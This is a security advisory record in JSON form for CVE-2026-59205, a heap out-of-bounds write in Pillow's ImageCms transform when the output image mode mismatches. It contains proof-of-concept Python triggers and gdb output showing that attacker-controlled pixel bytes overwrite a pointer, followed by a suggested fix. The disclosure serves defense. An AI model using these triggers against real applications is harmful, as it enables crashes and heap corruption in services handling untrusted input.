{"id":"CVE-2026-59205","aliases":["BIT-pillow-2026-59205","GHSA-9hw9-ch79-4vh6","PYSEC-2026-3453"],"url":"https://o3.security/vulnerability/CVE-2026-59205","summary":"Pillow: Controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch","details":"### Summary\n\nPillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger\ncontrolled native heap corruption when the caller supplies an output image whose\nmode does not match the transform's declared output mode.\n\nFor example, a transform built as `RGBA -> RGBA` can be applied to an `L` output\nimage. Pillow checks dimensions only, then calls LittleCMS with the output row\npointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row.\n\n### Details\n\n`src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller\nsupplied `imOut`:\n\n```python\ndef apply(self, im, imOut=None):\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nIf `imOut` is provided, Pillow does not check:\n\n```text\nim.mode == self.input_mode\nimOut.mode == self.output_mode\n```\n\nThe C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks\nthat the output dimensions are at least as large as the input dimensions:\n\n```c\nstatic int\npyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {\n    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {\n        return -1;\n    }\n\n    for (i = 0; i < im->ysize; i++) {\n        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);\n    }\n\n    pyCMScopyAux(hTransform, imOut, im);\n    return 0;\n}\n```\n\n`findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS\n`TYPE_RGBA_8`, which writes 4 bytes per pixel:\n\n```c\ncase IMAGING_MODE_RGB:\ncase IMAGING_MODE_RGBA:\ncase IMAGING_MODE_RGBX:\n    return TYPE_RGBA_8;\n```\n\nSo with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width`\nbytes to each output row. If the supplied output image is mode `L`, Pillow only\nallocated `1 * width` bytes for that row.\n\nFor width 4096:\n\n```text\ndestination row allocation: 4096 bytes\nLittleCMS write size:       16384 bytes\noverflow:                  ~12288 bytes past the row\n```\n\nThe bug does not require a large image. Width 8 was enough to corrupt heap\nmetadata. At width 8, `apply()` returned to Python and printed `after`; glibc\ndetected the corrupted heap later during cleanup.\n\n### PoC\n\nTiny heap corruption trigger:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (8, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (8, 1), 0)\n\nprint(\"before\", flush=True)\ntransform.apply(im, out)\nprint(\"after\")\n```\n\nObserved locally on Pillow `12.3.0.dev0`:\n\n```text\nbefore\nafter\nfree(): invalid next size (normal)\nAborted (core dumped)\n```\n\nControlled overwrite evidence PoC:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (4096, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (4096, 1), 0)\n\ntransform.apply(im, out)\n```\n\nRun under gdb:\n\n```bash\ngdb -q --batch -ex run -ex bt --args \\\n  python3 b022_controlled.py\n```\n\nObserved on Pillow `12.3.0.dev0`:\n\n```text\nProgram received signal SIGSEGV, Segmentation fault.\n___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)\n#1 _cmsLockPrimitive (m=0x4443424144434241)\n#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)\n#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)\n#4 cmsSaveProfileToIOhandler(...)\n#5 cmsSaveProfileToMem(...)\n#6 cms_profile_tobytes (...) at src/_imagingcms.c:152\n```\n\n`0x4443424144434241` is the attacker-controlled source pixel pattern\n`b\"ABCDABCD\"` interpreted as a little-endian pointer-sized value.\n\nUsing source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of\n`0x403020104030201`, matching the repeated pixel bytes.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native ImageCms extension,\nreachable through public API.\n\nApplications are impacted if untrusted users can control ImageCms transform\nparameters and/or provide the output image object passed to\n`ImageCmsTransform.apply()`. The source image pixels influence the bytes written\nout of bounds.\n\n## Suggested fix\n\nValidate modes before calling into the native transform:\n\n```python\ndef apply(self, im, imOut=None):\n    if im.mode != self.input_mode:\n        raise ValueError(\"input mode mismatch\")\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    elif imOut.mode != self.output_mode:\n        raise ValueError(\"output mode mismatch\")\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nThe C extension should also defensively reject mismatched image modes before\ncalling `cmsDoTransform()`.","published":"2026-07-14T15:48:39.962Z","modified":"2026-08-27T18:26:22.132220252Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00385,"percentile":0.3226,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"pillow","fixedVersion":"12.3.0"}],"fix":{"url":"https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721","label":"python-pillow/Pillow@a9ffc42"},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59205.json"},{"type":"ADVISORY","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59205"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/pull/9715"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-27T18:26:22.132220252Z"}}